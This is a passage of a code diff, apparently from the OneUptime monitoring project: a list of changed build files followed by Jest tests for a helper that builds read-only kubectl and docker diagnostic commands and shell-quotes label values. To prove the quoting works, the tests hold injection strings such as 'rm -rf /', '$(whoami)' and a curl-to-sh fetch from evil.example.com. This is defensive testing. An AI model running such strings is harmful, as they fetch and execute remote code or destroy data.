  395. package/build/dist/Server/Services/AlertService.js +34 -0
  396. package/build/dist/Server/Services/AlertService.js.map +1 -1
  397. package/build/dist/Server/Services/ApiKeyPermissionService.js +331 -28
  398. package/build/dist/Server/Services/ApiKeyPermissionService.js.map +1 -1
  399. package/build/dist/Server/Services/CustomFieldMappingService.js +614 -0
  400. package/build/dist/Server/Services/CustomFieldMappingService.js.map +1 -0
  401. package/build/dist/Server/Services/GlobalConfigService.js +133 -0
  402. package/build/dist/Server/Services/GlobalConfigService.js.map +1 -1
  403. package/build/dist/Server/Services/IncidentCustomFieldService.js +93 -0
  404. package/build/dist/Server/Services/IncidentCustomFieldService.js.map +1 -1
  405. package/build/dist/Server/Services/IncidentService.js +32 -0
  406. package/build/dist/Server/Services/IncidentService.js.map +1 -1
  407. package/build/dist/Server/Services/MetricService.js +163 -0
  408. package/build/dist/Server/Services/MetricService.js.map +1 -1
  409. package/build/dist/Server/Services/MonitorService.js +29 -0
  410. package/build/dist/Server/Services/MonitorService.js.map +1 -1
  411. package/build/dist/Server/Services/NetworkDeviceAutoImportRuleEngineService.js +79 -27
  412. package/build/dist/Server/Services/NetworkDeviceAutoImportRuleEngineService.js.map +1 -1
  413. package/build/dist/Server/Services/ProjectService.js +22 -0
  414. package/build/dist/Server/Services/ProjectService.js.map +1 -1
  415. package/build/dist/Server/Services/RoutineEmailSettingsService.js +69 -0
  416. package/build/dist/Server/Services/RoutineEmailSettingsService.js.map +1 -0
  417. package/build/dist/Server/Services/RumSessionReplayViewService.js +86 -24
  418. package/build/dist/Server/Services/RumSessionReplayViewService.js.map +1 -1
  419. package/build/dist/Server/Services/ScheduledMaintenanceCustomFieldService.js +93 -0
  420. package/build/dist/Server/Services/ScheduledMaintenanceCustomFieldService.js.map +1 -1
  421. package/build/dist/Server/Services/ScheduledMaintenanceService.js +29 -0
  422. package/build/dist/Server/Services/ScheduledMaintenanceService.js.map +1 -1
  423. package/build/dist/Server/Services/TeamMemberService.js +62 -2
  424. package/build/dist/Server/Services/TeamMemberService.js.map +1 -1
  425. package/build/dist/Server/Services/TeamPermissionService.js +166 -3
  426. package/build/dist/Server/Services/TeamPermissionService.js.map +1 -1
  427. package/build/dist/Server/Services/TelemetryIngestionKeyService.js +562 -18
  428. package/build/dist/Server/Services/TelemetryIngestionKeyService.js.map +1 -1
  429. package/build/dist/Server/Services/UserNotificationSettingService.js +26 -6
  430. package/build/dist/Server/Services/UserNotificationSettingService.js.map +1 -1
  431. package/build/dist/Server/Services/UserTelegramService.js +257 -4
  432. package/build/dist/Server/Services/UserTelegramService.js.map +1 -1
  433. package/build/dist/Server/Types/Database/QueryHelper.js.map +1 -1
  434. package/build/dist/Server/Utils/APIKey/AccessPermission.js +2 -2
  435. package/build/dist/Server/Utils/APIKey/AccessPermission.js.map +1 -1
  436. package/build/dist/Server/Utils/CustomField/CustomFieldDefinitionMappingHooks.js +27 -0
  437. package/build/dist/Server/Utils/CustomField/CustomFieldDefinitionMappingHooks.js.map +1 -0
  438. package/build/dist/Server/Utils/CustomField/CustomFieldMappingRegistry.js +226 -0
  439. package/build/dist/Server/Utils/CustomField/CustomFieldMappingRegistry.js.map +1 -0
  440. package/build/dist/Server/Utils/CustomField/CustomFieldMappingValidator.js +189 -0
  441. package/build/dist/Server/Utils/CustomField/CustomFieldMappingValidator.js.map +1 -0
  442. package/build/dist/Server/Utils/DataSource/EgressGuard.js +121 -7
  443. package/build/dist/Server/Utils/DataSource/EgressGuard.js.map +1 -1
  444. package/build/dist/Server/Utils/EmailRollup/EmailRollupConstants.js +38 -5
  445. package/build/dist/Server/Utils/EmailRollup/EmailRollupConstants.js.map +1 -1
  446. package/build/dist/Server/Utils/EmailRollup/EmailRollupFlushRunner.js +44 -2
  447. package/build/dist/Server/Utils/EmailRollup/EmailRollupFlushRunner.js.map +1 -1
  448. package/build/dist/Server/Utils/FrontendEnvironment.js +33 -0
  449. package/build/dist/Server/Utils/FrontendEnvironment.js.map +1 -0
  450. package/build/dist/Server/Utils/LogRedaction.js +20 -0
  451. package/build/dist/Server/Utils/LogRedaction.js.map +1 -1
  452. package/build/dist/Server/Utils/Logger.js +10 -0
  453. package/build/dist/Server/Utils/Logger.js.map +1 -1
  454. package/build/dist/Server/Utils/Monitor/Criteria/CompareCriteria.js +287 -68
  455. package/build/dist/Server/Utils/Monitor/Criteria/CompareCriteria.js.map +1 -1
  456. package/build/dist/Server/Utils/Monitor/Criteria/IncomingRequestCriteria.js +20 -4
  457. package/build/dist/Server/Utils/Monitor/Criteria/IncomingRequestCriteria.js.map +1 -1
  458. package/build/dist/Server/Utils/Monitor/MonitorAlert.js +29 -6
  459. package/build/dist/Server/Utils/Monitor/MonitorAlert.js.map +1 -1
  460. package/build/dist/Server/Utils/Monitor/MonitorCriteriaEvaluator.js +88 -13
  461. package/build/dist/Server/Utils/Monitor/MonitorCriteriaEvaluator.js.map +1 -1
  462. package/build/dist/Server/Utils/Monitor/MonitorIncident.js +22 -6
  463. package/build/dist/Server/Utils/Monitor/MonitorIncident.js.map +1 -1
  464. package/build/dist/Server/Utils/Monitor/MonitorTemplateUtil.js +22 -0
  465. package/build/dist/Server/Utils/Monitor/MonitorTemplateUtil.js.map +1 -1
  466. package/build/dist/Server/Utils/Monitor/SeriesContextEnricher.js +237 -0
  467. package/build/dist/Server/Utils/Monitor/SeriesContextEnricher.js.map +1 -0
  468. package/build/dist/Server/Utils/SSRFProtection.js +136 -9
  469. package/build/dist/Server/Utils/SSRFProtection.js.map +1 -1
  470. package/build/dist/Server/Utils/SessionReplay/SessionReplayGateCache.js +174 -89
  471. package/build/dist/Server/Utils/SessionReplay/SessionReplayGateCache.js.map +1 -1
  472. package/build/dist/Server/Utils/SessionReplay/SessionReplayHealthCounters.js +223 -0
  473. package/build/dist/Server/Utils/SessionReplay/SessionReplayHealthCounters.js.map +1 -0
  474. package/build/dist/Server/Utils/SessionReplay/SessionReplayReadService.js +945 -164
  475. package/build/dist/Server/Utils/SessionReplay/SessionReplayReadService.js.map +1 -1
  476. package/build/dist/Server/Utils/StartServer.js +3 -14
  477. package/build/dist/Server/Utils/StartServer.js.map +1 -1
  478. package/build/dist/Server/Utils/TelegramVerificationToken.js +129 -0
  479. package/build/dist/Server/Utils/TelegramVerificationToken.js.map +1 -0
  480. package/build/dist/Server/Utils/Telemetry/PinServiceName.js +163 -0
  481. package/build/dist/Server/Utils/Telemetry/PinServiceName.js.map +1 -0
  482. package/build/dist/Server/Utils/Telemetry/TelemetryFanInWriter.js +28 -15
  483. package/build/dist/Server/Utils/Telemetry/TelemetryFanInWriter.js.map +1 -1
  484. package/build/dist/Server/Utils/Telemetry/TelemetryIngestionKeyGuard.js +64 -0
  485. package/build/dist/Server/Utils/Telemetry/TelemetryIngestionKeyGuard.js.map +1 -0
  486. package/build/dist/Server/Utils/Telemetry/TelemetryIngestionKeyRateLimiter.js +171 -0
  487. package/build/dist/Server/Utils/Telemetry/TelemetryIngestionKeyRateLimiter.js.map +1 -0
  488. package/build/dist/Server/Utils/VM/VMAPI.js.map +1 -1
  489. package/build/dist/Server/Utils/VM/VMRunner.js +780 -69
  490. package/build/dist/Server/Utils/VM/VMRunner.js.map +1 -1
  491. package/build/dist/Types/CustomField/CustomFieldMappingCatalog.js +60 -0
  492. package/build/dist/Types/CustomField/CustomFieldMappingCatalog.js.map +1 -0
  493. package/build/dist/Types/CustomField/CustomFieldMappingSourceResource.js +20 -0
  494. package/build/dist/Types/CustomField/CustomFieldMappingSourceResource.js.map +1 -0
  495. package/build/dist/Types/CustomField/CustomFieldValueMapping.js +141 -0
  496. package/build/dist/Types/CustomField/CustomFieldValueMapping.js.map +1 -0
  497. package/build/dist/Types/Icon/IconProp.js +1 -0
  498. package/build/dist/Types/Icon/IconProp.js.map +1 -1
  499. package/build/dist/Types/JSONFunctions.js +118 -37
  500. package/build/dist/Types/JSONFunctions.js.map +1 -1
  501. package/build/dist/Types/Monitor/CephAlertTemplates.js +130 -171
  502. package/build/dist/Types/Monitor/CephAlertTemplates.js.map +1 -1
  503. package/build/dist/Types/Monitor/DockerAlertTemplates.js +286 -121
  504. package/build/dist/Types/Monitor/DockerAlertTemplates.js.map +1 -1
  505. package/build/dist/Types/Monitor/DockerSwarmAlertTemplates.js +84 -105
  506. package/build/dist/Types/Monitor/DockerSwarmAlertTemplates.js.map +1 -1
  507. package/build/dist/Types/Monitor/HostAlertTemplates.js +250 -122
  508. package/build/dist/Types/Monitor/HostAlertTemplates.js.map +1 -1
  509. package/build/dist/Types/Monitor/IotAlertTemplates.js +81 -81
  510. package/build/dist/Types/Monitor/IotAlertTemplates.js.map +1 -1
  511. package/build/dist/Types/Monitor/KubernetesAlertTemplates.js +375 -215
  512. package/build/dist/Types/Monitor/KubernetesAlertTemplates.js.map +1 -1
  513. package/build/dist/Types/Monitor/KubernetesMetricCatalog.js +19 -19
  514. package/build/dist/Types/Monitor/KubernetesMetricCatalog.js.map +1 -1
  515. package/build/dist/Types/Monitor/PodmanAlertTemplates.js +104 -153
  516. package/build/dist/Types/Monitor/PodmanAlertTemplates.js.map +1 -1
  517. package/build/dist/Types/Monitor/ProxmoxAlertTemplates.js +156 -91
  518. package/build/dist/Types/Monitor/ProxmoxAlertTemplates.js.map +1 -1
  519. package/build/dist/Types/Monitor/Recommendation/MonitorRecommendationSeverityMapper.js +67 -6
  520. package/build/dist/Types/Monitor/Recommendation/MonitorRecommendationSeverityMapper.js.map +1 -1
  521. package/build/dist/Types/Monitor/Recommendation/MonitorRecommendationUtil.js +38 -7
  522. package/build/dist/Types/Monitor/Recommendation/MonitorRecommendationUtil.js.map +1 -1
  523. package/build/dist/Types/Monitor/Recommendation/RecommendationCriteriaBuilder.js +261 -0
  524. package/build/dist/Types/Monitor/Recommendation/RecommendationCriteriaBuilder.js.map +1 -0
  525. package/build/dist/Types/Monitor/RumAlertTemplates.js +46 -7
  526. package/build/dist/Types/Monitor/RumAlertTemplates.js.map +1 -1
  527. package/build/dist/Types/Monitor/SeriesContext/SeriesDebugHints.js +422 -0
  528. package/build/dist/Types/Monitor/SeriesContext/SeriesDebugHints.js.map +1 -0
  529. package/build/dist/Types/Monitor/SeriesContext/SeriesLabelDisplay.js +441 -0
  530. package/build/dist/Types/Monitor/SeriesContext/SeriesLabelDisplay.js.map +1 -0
  531. package/build/dist/Types/Monitor/ServiceAlertTemplates.js +79 -15
  532. package/build/dist/Types/Monitor/ServiceAlertTemplates.js.map +1 -1
  533. package/build/dist/Types/Monitor/UptimeHistoryLabels.js +17 -0
  534. package/build/dist/Types/Monitor/UptimeHistoryLabels.js.map +1 -0
  535. package/build/dist/Types/NotificationSetting/RoutineEmailEvents.js +29 -0
  536. package/build/dist/Types/NotificationSetting/RoutineEmailEvents.js.map +1 -0
  537. package/build/dist/Types/Rum/SessionReplay.js +117 -0
  538. package/build/dist/Types/Rum/SessionReplay.js.map +1 -1
  539. package/build/dist/Types/Rum/SessionReplayApi.js +181 -0
  540. package/build/dist/Types/Rum/SessionReplayApi.js.map +1 -0
  541. package/build/dist/Types/Rum/SessionReplayCaptureTrigger.js +21 -12
  542. package/build/dist/Types/Rum/SessionReplayCaptureTrigger.js.map +1 -1
  543. package/build/dist/Types/Rum/SessionReplayConsentMode.js +11 -7
  544. package/build/dist/Types/Rum/SessionReplayConsentMode.js.map +1 -1
  545. package/build/dist/Types/Rum/SessionReplayCustomEvents.js +172 -0
  546. package/build/dist/Types/Rum/SessionReplayCustomEvents.js.map +1 -0
  547. package/build/dist/Types/Rum/SessionReplayHealth.js +37 -0
  548. package/build/dist/Types/Rum/SessionReplayHealth.js.map +1 -0
  549. package/build/dist/Types/Telemetry/TelemetryIngestSurface.js +85 -0
  550. package/build/dist/Types/Telemetry/TelemetryIngestSurface.js.map +1 -0
  551. package/build/dist/Types/Telemetry/TelemetryIngestionKeyPolicy.js +15 -0
  552. package/build/dist/Types/Telemetry/TelemetryIngestionKeyPolicy.js.map +1 -0
  553. package/build/dist/Types/Telemetry/TelemetryIngestionKeyType.js +30 -0
  554. package/build/dist/Types/Telemetry/TelemetryIngestionKeyType.js.map +1 -0
  555. package/build/dist/Types/WebsiteRequest.js +55 -3
  556. package/build/dist/Types/WebsiteRequest.js.map +1 -1
  557. package/build/dist/UI/Components/Charts/Area/AreaChart.js +13 -2
  558. package/build/dist/UI/Components/Charts/Area/AreaChart.js.map +1 -1
  559. package/build/dist/UI/Components/Charts/Bar/BarChart.js +6 -2
  560. package/build/dist/UI/Components/Charts/Bar/BarChart.js.map +1 -1
  561. package/build/dist/UI/Components/Charts/Line/LineChart.js +13 -2
  562. package/build/dist/UI/Components/Charts/Line/LineChart.js.map +1 -1
  563. package/build/dist/UI/Components/Charts/Types/XAxis/XAxis.js.map +1 -1
  564. package/build/dist/UI/Components/Charts/Utils/DataPoint.js +15 -3
  565. package/build/dist/UI/Components/Charts/Utils/DataPoint.js.map +1 -1
  566. package/build/dist/UI/Components/Charts/Utils/TimeAnnotation.js +40 -9
  567. package/build/dist/UI/Components/Charts/Utils/TimeAnnotation.js.map +1 -1
  568. package/build/dist/UI/Components/Charts/Utils/XAxis.js +186 -0
  569. package/build/dist/UI/Components/Charts/Utils/XAxis.js.map +1 -1
  570. package/build/dist/UI/Components/CustomFields/CustomFieldsDetail.js +80 -6
  571. package/build/dist/UI/Components/CustomFields/CustomFieldsDetail.js.map +1 -1
  572. package/build/dist/UI/Components/CustomFields/MapFromCustomFieldInput.js +118 -0
  573. package/build/dist/UI/Components/CustomFields/MapFromCustomFieldInput.js.map +1 -0
  574. package/build/dist/UI/Components/Graphs/DayUptimeGraph.js +112 -7
  575. package/build/dist/UI/Components/Graphs/DayUptimeGraph.js.map +1 -1
  576. package/build/dist/UI/Components/Graphs/UptimeBarTooltip.js +5 -162
  577. package/build/dist/UI/Components/Graphs/UptimeBarTooltip.js.map +1 -1
  578. package/build/dist/UI/Components/Graphs/UptimeDaySummary.js +181 -0
  579. package/build/dist/UI/Components/Graphs/UptimeDaySummary.js.map +1 -0
  580. package/build/dist/UI/Components/Header/Header.js +2 -3
  581. package/build/dist/UI/Components/Header/Header.js.map +1 -1
  582. package/build/dist/UI/Components/Header/IconDropdown/IconDropdownItem.js +2 -1
  583. package/build/dist/UI/Components/Header/IconDropdown/IconDropdownItem.js.map +1 -1
  584. package/build/dist/UI/Components/Header/IconDropdown/IconDropdownMenu.js +7 -1
  585. package/build/dist/UI/Components/Header/IconDropdown/IconDropdownMenu.js.map +1 -1
  586. package/build/dist/UI/Components/Header/ProjectPicker/ProjectPicker.js +7 -1
  587. package/build/dist/UI/Components/Header/ProjectPicker/ProjectPicker.js.map +1 -1
  588. package/build/dist/UI/Components/HeaderAlert/NotificationBell/NotificationBellDropdown.js +7 -1
  589. package/build/dist/UI/Components/HeaderAlert/NotificationBell/NotificationBellDropdown.js.map +1 -1
  590. package/build/dist/UI/Components/Icon/Icon.js +5 -0
  591. package/build/dist/UI/Components/Icon/Icon.js.map +1 -1
  592. package/build/dist/UI/Components/JSONTable/JSONTable.js +2 -2
  593. package/build/dist/UI/Components/JSONTable/JSONTable.js.map +1 -1
  594. package/build/dist/UI/Components/KeyboardShortcut/KeyboardShortcutsModal.js +35 -0
  595. package/build/dist/UI/Components/KeyboardShortcut/KeyboardShortcutsModal.js.map +1 -0
  596. package/build/dist/UI/Components/Monitor/SeriesDebugCommandsViewer.js +34 -0
  597. package/build/dist/UI/Components/Monitor/SeriesDebugCommandsViewer.js.map +1 -0
  598. package/build/dist/UI/Components/Monitor/SeriesLabelsViewer.js +49 -0
  599. package/build/dist/UI/Components/Monitor/SeriesLabelsViewer.js.map +1 -0
  600. package/build/dist/UI/Components/MonitorGraphs/Uptime.js +1 -1
  601. package/build/dist/UI/Components/MonitorGraphs/Uptime.js.map +1 -1
  602. package/build/dist/UI/Components/MonitorGraphs/UptimeBarDayModal.js +32 -6
  603. package/build/dist/UI/Components/MonitorGraphs/UptimeBarDayModal.js.map +1 -1
  604. package/build/dist/UI/Components/MonitorTemplateVariables/TemplateVariablesCatalog.js +38 -0
  605. package/build/dist/UI/Components/MonitorTemplateVariables/TemplateVariablesCatalog.js.map +1 -1
  606. package/build/dist/UI/Components/StatusPage/ResourceGroupSection.js +22 -1
  607. package/build/dist/UI/Components/StatusPage/ResourceGroupSection.js.map +1 -1
  608. package/build/dist/UI/Components/Table/CellClassName.js +55 -0
  609. package/build/dist/UI/Components/Table/CellClassName.js.map +1 -0
  610. package/build/dist/UI/Components/Table/TableRow.js +16 -13
  611. package/build/dist/UI/Components/Table/TableRow.js.map +1 -1
  612. package/build/dist/UI/Components/Table/TableSkeletonRows.js +9 -8
  613. package/build/dist/UI/Components/Table/TableSkeletonRows.js.map +1 -1
  614. package/build/dist/UI/Components/Tooltip/Tooltip.js +25 -1
  615. package/build/dist/UI/Components/Tooltip/Tooltip.js.map +1 -1
  616. package/build/dist/UI/Components/Workflow/ComponentsModal.js +47 -30
  617. package/build/dist/UI/Components/Workflow/ComponentsModal.js.map +1 -1
  618. package/build/dist/UI/Components/Workflow/NodePlacement.js +37 -0
  619. package/build/dist/UI/Components/Workflow/NodePlacement.js.map +1 -0
  620. package/build/dist/UI/Components/Workflow/Workflow.js +35 -18
  621. package/build/dist/UI/Components/Workflow/Workflow.js.map +1 -1
  622. package/build/dist/UI/Config.js +10 -20
  623. package/build/dist/UI/Config.js.map +1 -1
  624. package/build/dist/UI/Utils/GlobalKeyboardShortcut.js +138 -0
  625. package/build/dist/UI/Utils/GlobalKeyboardShortcut.js.map +1 -0
  626. package/build/dist/UI/Utils/Telemetry/BrowserTelemetryConfig.js +14 -0
  627. package/build/dist/UI/Utils/Telemetry/BrowserTelemetryConfig.js.map +1 -0
  628. package/build/dist/UI/Utils/Telemetry/Telemetry.js +7 -5
  629. package/build/dist/UI/Utils/Telemetry/Telemetry.js.map +1 -1
  630. package/build/dist/Utils/API.js +67 -5
  631. package/build/dist/Utils/API.js.map +1 -1
  632. package/build/dist/Utils/HTTPResponseBodyReader.js +157 -0
  633. package/build/dist/Utils/HTTPResponseBodyReader.js.map +1 -0
  634. package/build/dist/Utils/NetworkDiscovery/DiscoveryScanStatus.js +69 -0
  635. package/build/dist/Utils/NetworkDiscovery/DiscoveryScanStatus.js.map +1 -0
  636. package/build/dist/Utils/Rum/ChunkMath.js +76 -0
  637. package/build/dist/Utils/Rum/ChunkMath.js.map +1 -1
  638. package/build/dist/Utils/Rum/SessionReplayHealth.js +534 -0
  639. package/build/dist/Utils/Rum/SessionReplayHealth.js.map +1 -0
  640. package/build/dist/Utils/Rum/SessionReplayStringMap.js +165 -0
  641. package/build/dist/Utils/Rum/SessionReplayStringMap.js.map +1 -0
  642. package/build/dist/Utils/Schema/ModelSchema.js +1 -0
  643. package/build/dist/Utils/Schema/ModelSchema.js.map +1 -1
  644. package/build/dist/Utils/StatusPage/ResourceSearch.js +200 -0
  645. package/build/dist/Utils/StatusPage/ResourceSearch.js.map +1 -0
  646. package/build/dist/Utils/Telemetry/OriginAllowList.js +299 -0
  647. package/build/dist/Utils/Telemetry/OriginAllowList.js.map +1 -0
  648. package/build/dist/Utils/Uptime/DayUptimeGraphUtil.js +147 -0
  649. package/build/dist/Utils/Uptime/DayUptimeGraphUtil.js.map +1 -0
  650. package/build/dist/Utils/ValueFormatter.js +32 -1
  651. package/build/dist/Utils/ValueFormatter.js.map +1 -1
  652. package/package.json +1 -1
@@ -0,0 +1,661 @@
1
+ import { JSONObject } from "../../../../Types/JSON";
2
+ import MonitorType from "../../../../Types/Monitor/MonitorType";
3
+ import SeriesDebugHints, {
4
+ SeriesDebugCommand,
5
+ } from "../../../../Types/Monitor/SeriesContext/SeriesDebugHints";
6
+
7
+ /*
8
+ * These commands are printed into an alert description and rendered on
9
+ * the alert page with a Copy button, which makes them the highest-trust
10
+ * text OneUptime emits: a tired engineer pastes them into a production
11
+ * shell without reading. Three invariants therefore matter more than the
12
+ * exact wording of any one command, and each has its own block below:
13
+ *
14
+ * 1. READ-ONLY. Nothing here may mutate, restart or delete.
15
+ *
16
+ * 2. NEVER HALF-FILLED. A command is emitted only when every
17
+ * identifier it interpolates is known, so no `kubectl logs -n `
18
+ * ever reaches a human.
19
+ *
20
+ * 3. SHELL-SAFE. Label values are telemetry - an agent, a Prometheus
21
+ * scrape, or a user's own oneuptime.captureMetric() call chose
22
+ * them - so a value containing shell metacharacters must render as
23
+ * an inert argument, not as a second command.
24
+ */
25
+
26
+ function getCommandStrings(input: {
27
+ monitorType: MonitorType;
28
+ seriesLabels: JSONObject;
29
+ }): Array<string> {
30
+ return SeriesDebugHints.getDebugCommands(input).map(
31
+ (command: SeriesDebugCommand) => {
32
+ return command.command;
33
+ },
34
+ );
35
+ }
36
+
37
+ const KUBERNETES_POD_LABELS: JSONObject = {
38
+ "resource.k8s.namespace.name": "prod",
39
+ "resource.k8s.pod.name": "checkout-7d9f-2xk",
40
+ "resource.k8s.container.name": "app",
41
+ "resource.k8s.node.name": "ip-10-0-3-14",
42
+ };
43
+
44
+ describe("SeriesDebugHints", () => {
45
+ describe("quoteForShell", () => {
46
+ test("leaves an ordinary object name unquoted so it stays readable", () => {
47
+ expect(SeriesDebugHints.quoteForShell("checkout-7d9f-2xk")).toBe(
48
+ "checkout-7d9f-2xk",
49
+ );
50
+ expect(SeriesDebugHints.quoteForShell("/var/lib/docker")).toBe(
51
+ "/var/lib/docker",
52
+ );
53
+ expect(SeriesDebugHints.quoteForShell("osd.12")).toBe("osd.12");
54
+ });
55
+
56
+ test("single-quotes anything carrying a shell metacharacter", () => {
57
+ expect(SeriesDebugHints.quoteForShell("web; rm -rf /")).toBe(
58
+ "'web; rm -rf /'",
59
+ );
60
+ expect(SeriesDebugHints.quoteForShell("a b")).toBe("'a b'");
61
+ expect(SeriesDebugHints.quoteForShell("$(whoami)")).toBe("'$(whoami)'");
62
+ expect(SeriesDebugHints.quoteForShell("`id`")).toBe("'`id`'");
63
+ expect(SeriesDebugHints.quoteForShell("a&&b")).toBe("'a&&b'");
64
+ expect(SeriesDebugHints.quoteForShell("a|b")).toBe("'a|b'");
65
+ expect(SeriesDebugHints.quoteForShell("a\nb")).toBe("'a\nb'");
66
+ });
67
+
68
+ test("escapes an embedded single quote without ending the quoting", () => {
69
+ /*
70
+ * The close/escape/reopen dance. A naive implementation would
71
+ * produce 'a'b', which terminates the quoted string early and
72
+ * leaves `b` as a separate shell word.
73
+ */
74
+ expect(SeriesDebugHints.quoteForShell("a'b")).toBe(`'a'\\''b'`);
75
+ });
76
+
77
+ test("a value trying to break out stays inside one argument", () => {
78
+ const quoted: string = SeriesDebugHints.quoteForShell(
79
+ `'; curl evil.example.com | sh; echo '`,
80
+ );
81
+
82
+ /*
83
+ * Every quote in the value is escaped, so the only unescaped
84
+ * quotes left are the wrapper's own opening and closing pair.
85
+ */
86
+ expect(quoted.startsWith("'")).toBe(true);
87
+ expect(quoted.endsWith("'")).toBe(true);
88
+ expect(quoted.split(`'\\''`).join("")).not.toContain("''");
89
+ });
90
+ });
91
+
92
+ describe("Kubernetes", () => {
93
+ test("names the pod, container and namespace in the first commands", () => {
94
+ const commands: Array<string> = getCommandStrings({
95
+ monitorType: MonitorType.Kubernetes,
96
+ seriesLabels: KUBERNETES_POD_LABELS,
97
+ });
98
+
99
+ expect(commands).toContain(
100
+ "kubectl describe pod checkout-7d9f-2xk -n prod",
101
+ );
102
+ expect(commands).toContain(
103
+ "kubectl logs checkout-7d9f-2xk -c app -n prod --tail=200",
104
+ );
105
+ expect(commands).toContain(
106
+ "kubectl logs checkout-7d9f-2xk -c app -n prod --previous --tail=200",
107
+ );
108
+ expect(commands).toContain(
109
+ "kubectl top pod checkout-7d9f-2xk -n prod --containers",
110
+ );
111
+ });
112
+
113
+ test("adds node-level commands when the series names a node", () => {
114
+ const commands: Array<string> = getCommandStrings({
115
+ monitorType: MonitorType.Kubernetes,
116
+ seriesLabels: KUBERNETES_POD_LABELS,
117
+ });
118
+
119
+ expect(commands).toContain("kubectl describe node ip-10-0-3-14");
120
+ expect(commands).toContain(
121
+ "kubectl get pods --all-namespaces --field-selector spec.nodeName=ip-10-0-3-14 -o wide",
122
+ );
123
+ });
124
+
125
+ test("omits -n rather than guessing when the namespace is unknown", () => {
126
+ /*
127
+ * Guessing "default" sends the engineer to the wrong namespace and
128
+ * returns "not found". Omitting the flag uses their current
129
+ * context, which is the correct fallback.
130
+ */
131
+ const commands: Array<string> = getCommandStrings({
132
+ monitorType: MonitorType.Kubernetes,
133
+ seriesLabels: { "resource.k8s.pod.name": "web-1" },
134
+ });
135
+
136
+ expect(commands).toContain("kubectl describe pod web-1");
137
+ expect(
138
+ commands.some((command: string) => {
139
+ return command.includes("-n ");
140
+ }),
141
+ ).toBe(false);
142
+ });
143
+
144
+ test("omits -c rather than emitting an empty container flag", () => {
145
+ const commands: Array<string> = getCommandStrings({
146
+ monitorType: MonitorType.Kubernetes,
147
+ seriesLabels: {
148
+ "resource.k8s.pod.name": "web-1",
149
+ "resource.k8s.namespace.name": "prod",
150
+ },
151
+ });
152
+
153
+ expect(commands).toContain("kubectl logs web-1 -n prod --tail=200");
154
+ });
155
+
156
+ test("emits nothing at all when no pod, node or workload is named", () => {
157
+ expect(
158
+ getCommandStrings({
159
+ monitorType: MonitorType.Kubernetes,
160
+ seriesLabels: { "resource.k8s.cluster.name": "prod-eu" },
161
+ }),
162
+ ).toEqual([]);
163
+ });
164
+
165
+ test.each([
166
+ [
167
+ "resource.k8s.deployment.name",
168
+ "checkout",
169
+ "rollout status deployment/checkout",
170
+ ],
171
+ [
172
+ "resource.k8s.statefulset.name",
173
+ "kafka",
174
+ "rollout status statefulset/kafka",
175
+ ],
176
+ ["resource.k8s.daemonset.name", "fluentd", "describe daemonset fluentd"],
177
+ ["resource.k8s.job.name", "nightly", "describe job nightly"],
178
+ ["resource.k8s.hpa.name", "web-hpa", "describe hpa web-hpa"],
179
+ ])(
180
+ "%s produces its own object-specific command",
181
+ (key: string, value: string, expectedFragment: string) => {
182
+ const commands: Array<string> = getCommandStrings({
183
+ monitorType: MonitorType.Kubernetes,
184
+ seriesLabels: { [key]: value },
185
+ });
186
+
187
+ expect(
188
+ commands.some((command: string) => {
189
+ return command.includes(expectedFragment);
190
+ }),
191
+ ).toBe(true);
192
+ },
193
+ );
194
+
195
+ test("a hostile pod name cannot become a second command", () => {
196
+ const commands: Array<string> = getCommandStrings({
197
+ monitorType: MonitorType.Kubernetes,
198
+ seriesLabels: {
199
+ "resource.k8s.pod.name": "web; curl evil.example.com | sh",
200
+ "resource.k8s.namespace.name": "prod",
201
+ },
202
+ });
203
+
204
+ for (const command of commands) {
205
+ /*
206
+ * The dangerous substring may appear, but only INSIDE the single
207
+ * quotes that make it one inert argument.
208
+ */
209
+ if (command.includes("curl evil.example.com")) {
210
+ expect(command).toContain("'web; curl evil.example.com | sh'");
211
+ }
212
+ }
213
+ });
214
+ });
215
+
216
+ describe("Docker and Podman", () => {
217
+ test("uses the docker CLI for a Docker monitor", () => {
218
+ const commands: Array<string> = getCommandStrings({
219
+ monitorType: MonitorType.Docker,
220
+ seriesLabels: { "resource.container.name": "nginx" },
221
+ });
222
+
223
+ expect(commands).toContain("docker logs --tail 200 nginx");
224
+ expect(commands).toContain("docker stats --no-stream nginx");
225
+ expect(commands).toContain("docker top nginx");
226
+ });
227
+
228
+ test("uses the podman CLI for a Podman monitor", () => {
229
+ const commands: Array<string> = getCommandStrings({
230
+ monitorType: MonitorType.Podman,
231
+ seriesLabels: { "resource.container.name": "nginx" },
232
+ });
233
+
234
+ expect(commands).toContain("podman logs --tail 200 nginx");
235
+ expect(
236
+ commands.every((command: string) => {
237
+ return !command.startsWith("docker ");
238
+ }),
239
+ ).toBe(true);
240
+ });
241
+
242
+ test("surfaces the exit code and OOM flag, which is what the page is about", () => {
243
+ const commands: Array<string> = getCommandStrings({
244
+ monitorType: MonitorType.Docker,
245
+ seriesLabels: { "resource.container.name": "nginx" },
246
+ });
247
+
248
+ expect(
249
+ commands.some((command: string) => {
250
+ return (
251
+ command.includes("docker inspect") &&
252
+ command.includes("OOMKilled") &&
253
+ command.includes("ExitCode")
254
+ );
255
+ }),
256
+ ).toBe(true);
257
+ });
258
+
259
+ test("emits nothing without a container name", () => {
260
+ expect(
261
+ getCommandStrings({
262
+ monitorType: MonitorType.Docker,
263
+ seriesLabels: { "resource.container.image.name": "nginx:1.25" },
264
+ }),
265
+ ).toEqual([]);
266
+ });
267
+ });
268
+
269
+ describe("Docker Swarm", () => {
270
+ test("adds service-level commands on top of the container ones", () => {
271
+ const commands: Array<string> = getCommandStrings({
272
+ monitorType: MonitorType.DockerSwarm,
273
+ seriesLabels: {
274
+ "container.name": "web.1.abc123",
275
+ "docker.swarm.service.name": "web",
276
+ },
277
+ });
278
+
279
+ expect(commands).toContain("docker logs --tail 200 web.1.abc123");
280
+ expect(commands).toContain("docker service ps web --no-trunc");
281
+ expect(commands).toContain("docker service logs --tail 200 web");
282
+ });
283
+
284
+ test("reads the unprefixed container.name the swarm agent emits", () => {
285
+ /*
286
+ * Unlike Docker/Podman, the docker_stats receiver in the Swarm
287
+ * agent keeps container identity in DATAPOINT labels, so the key
288
+ * has no `resource.` prefix.
289
+ */
290
+ const commands: Array<string> = getCommandStrings({
291
+ monitorType: MonitorType.DockerSwarm,
292
+ seriesLabels: { "container.name": "web.1.abc123" },
293
+ });
294
+
295
+ expect(commands.length).toBeGreaterThan(0);
296
+ });
297
+ });
298
+
299
+ describe("Host", () => {
300
+ test("investigates the mount that actually filled up", () => {
301
+ const commands: Array<string> = getCommandStrings({
302
+ monitorType: MonitorType.Host,
303
